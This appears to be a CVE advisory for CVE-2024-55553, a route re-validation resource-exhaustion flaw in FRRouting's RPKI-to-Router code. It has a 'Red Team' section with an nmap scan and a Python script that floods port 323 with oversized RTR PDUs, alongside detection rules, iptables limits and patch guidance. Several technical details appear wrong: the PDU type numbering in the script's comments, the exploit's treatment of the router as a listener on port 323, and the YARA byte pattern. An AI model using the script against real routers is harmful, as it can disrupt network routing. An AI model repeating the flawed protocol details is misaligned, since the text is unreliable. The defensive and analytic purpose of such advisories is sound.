CVE-2024-55553

Executive Summary

CVE-2024-55553 is a high-severity resource exhaustion vulnerability in FRRouting (FRR), an open-source routing protocol suite. The flaw resides in the RPKI-to-Router (RTR) protocol implementation. When the total size of an RTR update message exceeds the internal socket buffer size (default 4KB on most operating systems), FRR triggers a full re-validation of all routes in the Routing Information Base (RIB). An attacker can exploit this by sending a large number of ROA (Route Origin Authorization) updates during an update interval (typically 30 minutes), forcing continuous and resource-intensive route re-validation. This can lead to CPU exhaustion, degraded routing performance, and increased BMP (BGP Monitoring Protocol) traffic to monitoring systems. The vulnerability affects all FRR versions from 6.0 onward, with patches available in versions 10.0.3, 10.1.2, 10.2.1, and 10.3.

Supply Chain & Package Security

FRRouting is a critical component in many network infrastructure deployments, often distributed via package managers (e.g., apt, yum) or compiled from source. The vulnerability is not in a package registry (NPM, PyPI, Go, Ruby) but in the core routing software. Organizations using FRR in their BGP infrastructure should treat this as a high-priority supply chain risk, as exploitation can disrupt global routing operations.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: High. The vulnerability can be exploited remotely without authentication, causing significant performance degradation or complete denial of service on FRR routers. The attack is amplified by the fact that organic network events can also trigger the condition, making it difficult to distinguish from normal operations.

Deep Dive & Mechanics

The vulnerability is rooted in the RTR (RPKI-to-Router) protocol implementation within FRR. RTR is used to synchronize RPKI (Resource Public Key Infrastructure) data between a router and an RPKI cache server. The protocol uses TCP connections and sends updates as serialized PDUs (Protocol Data Units).

Root Cause: When FRR receives an RTR update message, it reads the data into an internal buffer. If the total size of the update exceeds the socket's receive buffer size (default 4KB on Linux), the kernel may deliver the data in multiple chunks. FRR's RTR implementation, upon detecting that the buffer was insufficient to hold the entire update in one read, triggers a full re-validation of all routes in the RIB. This is a defensive mechanism intended to ensure data consistency, but it is overly aggressive.

Attack Vector: An attacker who can send RTR updates to a vulnerable FRR instance (e.g., by spoofing an RPKI cache server or compromising a legitimate one) can craft update messages that are just over the 4KB threshold. By sending many such updates within the standard 30-minute update interval, the attacker forces FRR to repeatedly re-validate its entire RIB. For routers with large full BGP tables (e.g., 1M+ routes), this re-validation can take more than 30 minutes, leading to a state where the router is constantly re-validating and unable to process normal routing updates efficiently.

Impact:

• CPU exhaustion on the router
• Delayed route processing and convergence
• Increased BMP traffic to monitoring systems (as re-validation generates BMP route monitoring messages)
• Potential for cascading failures in networks relying on FRR

Vulnerable vs. Patched Code

The fix involves modifying the RTR update handling logic to avoid triggering full RIB re-validation when the buffer size is exceeded. Instead, the patched code properly reassembles fragmented updates without forcing a re-validation.

Vulnerable Code (Conceptual):

// In rtr_update_receive() or similar function
int rtr_update_receive(struct rtr_session *session, uint8_t *data, size_t len) {
    // If the data exceeds the socket buffer, trigger re-validation
    if (len > session->socket_buffer_size) {
        // Force full RIB re-validation
        bgp_rpki_revalidate_all();
    }
    // Process the update normally
    process_rtr_pdus(data, len);
}

Patched Code (Conceptual):

// In rtr_update_receive() or similar function
int rtr_update_receive(struct rtr_session *session, uint8_t *data, size_t len) {
    // Properly handle fragmented updates without re-validation
    static uint8_t *fragment_buffer = NULL;
    static size_t fragment_len = 0;
    
    if (fragment_buffer) {
        // Append to existing fragment
        fragment_buffer = realloc(fragment_buffer, fragment_len + len);
        memcpy(fragment_buffer + fragment_len, data, len);
        fragment_len += len;
        // Check if we have a complete PDU
        if (is_complete_pdu(fragment_buffer, fragment_len)) {
            process_rtr_pdus(fragment_buffer, fragment_len);
            free(fragment_buffer);
            fragment_buffer = NULL;
            fragment_len = 0;
        }
    } else {
        // Normal processing
        process_rtr_pdus(data, len);
    }
}

Key Differences:

• Vulnerable code triggers full RIB re-validation on buffer overflow
• Patched code implements proper PDU reassembly using a fragment buffer
• Patched code avoids unnecessary re-validation, preserving CPU resources

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to a vulnerable FRR router (port 323 for RTR)
• Ability to send TCP packets to the RTR port
• Knowledge of the RTR protocol (RFC 6810/8210)

Exploitation Steps:

1. Identify Target: Scan for FRR routers with RTR enabled on port 323.

   nmap -p 323 --open -sV <target_network>
   

2. Craft Malicious RTR Updates: Use a tool like scapy to send RTR PDUs that exceed the 4KB buffer size.

   from scapy.all import *
   import struct
   
   def craft_rtr_update():
       # RTR PDU header: Version (1 byte), Type (1 byte), Session ID (2 bytes), Length (4 bytes)
       # Type 0 = Serial Notify, Type 1 = Serial Query, Type 2 = Reset Query, Type 3 = Cache Response
       # Type 4 = IPv4 Prefix, Type 5 = IPv6 Prefix, Type 6 = End of Data
       
       # Create a large payload to exceed 4KB
       payload = b'\x00' * 5000  # 5KB of padding
       
       # RTR PDU header
       version = 1
       pdu_type = 4  # IPv4 Prefix
       session_id = 0x1234
       length = len(payload) + 8  # 8 bytes header
       
       header = struct.pack('!BBHI', version, pdu_type, session_id, length)
       pdu = header + payload
       return pdu
   
   def send_rtr_update(target_ip, target_port=323):
       pdu = craft_rtr_update()
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target_ip, target_port))
       sock.send(pdu)
       sock.close()
   
   # Send multiple updates to trigger continuous re-validation
   for i in range(100):
       send_rtr_update('192.168.1.1')
   

3. Monitor Impact: Observe CPU usage on the target router and check for route processing delays.

Blue Team

Detection and Mitigation:

1. Network Monitoring: Monitor RTR traffic for unusually large PDUs or high frequency of updates.

   tcpdump -i eth0 port 323 -X
   

2. Rate Limiting: Implement rate limiting on RTR connections using iptables.

   iptables -A INPUT -p tcp --dport 323 -m limit --limit 10/minute --limit-burst 5 -j ACCEPT
   iptables -A INPUT -p tcp --dport 323 -j DROP
   

3. Buffer Size Monitoring: Check socket buffer sizes and consider increasing them.

   sysctl net.core.rmem_default
   sysctl net.core.rmem_max
   

4. Log Analysis: Enable detailed logging for RTR events in FRR.

   router bgp <ASN>
    rpki cache <IP> <port> <username> <password>
    log rpki events
   

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of TCP connections to port 323 from a single source
  • RTR PDUs with payload sizes exceeding 4096 bytes
  • Repeated RTR Serial Notify or Cache Response messages within short intervals

• System IOCs:

  • Elevated CPU usage on FRR processes (bgpd, rtr)
  • Increased memory consumption due to RIB re-validation
  • Log entries indicating "RTR buffer overflow" or "full RIB re-validation triggered"

• BMP IOCs:

  • Spike in BMP route monitoring messages sent to collectors
  • Unusual patterns in BMP statistics (e.g., high number of route withdrawals/updates)

Detection Engineering

YARA Rule

rule CVE_2024_55553_RTR_Overflow {
    meta:
        description = "Detects RTR PDUs exceeding 4KB buffer size"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-55553"
    strings:
        $rtr_header = { 01 [01] [02 03] [04 05 06 07] }  // Version 1, any type, any session ID, any length
        $large_payload = { 00 00 10 00 }  // Length field >= 4096 bytes (0x1000)
    condition:
        $rtr_header and $large_payload and filesize > 4096
}

Sigma Rule

title: CVE-2024-55553 - RTR Buffer Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicating exploitation of CVE-2024-55553 via oversized RTR PDUs
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 323
        app_protocol: rtr
        pdu_length: >4096
    condition: selection
falsepositives:
    - Legitimate large RTR updates from RPKI cache servers (rare)
level: high

Suricata Rule

alert tcp any any -> any 323 (msg:"CVE-2024-55553 RTR Buffer Overflow Attempt"; flow:to_server,established; content:"|01|"; offset:0; depth:1; content:"|00 00 10 00|"; distance:3; within:4; byte_test:4,>,4096,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch FRR: Upgrade to version 10.0.3, 10.1.2, 10.2.1, or >= 10.3.

   # For Debian/Ubuntu
   sudo apt-get update
   sudo apt-get install frr=10.0.3
   
   # For CentOS/RHEL
   sudo yum update frr
   

2. Workaround: If patching is not immediately possible, increase the socket buffer size to reduce the likelihood of triggering the condition.

   sysctl -w net.core.rmem_default=65536
   sysctl -w net.core.rmem_max=131072
   

3. Access Control: Restrict RTR connections to trusted RPKI cache servers only.

   iptables -A INPUT -p tcp --dport 323 -s <trusted_cache_ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 323 -j DROP
   

Long-term Mitigations:

• Implement network segmentation for RPKI infrastructure
• Monitor RTR traffic for anomalies using the provided detection rules
• Regularly update FRR to the latest stable version
• Consider using BGP Flowspec or other mechanisms to rate-limit RTR updates

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert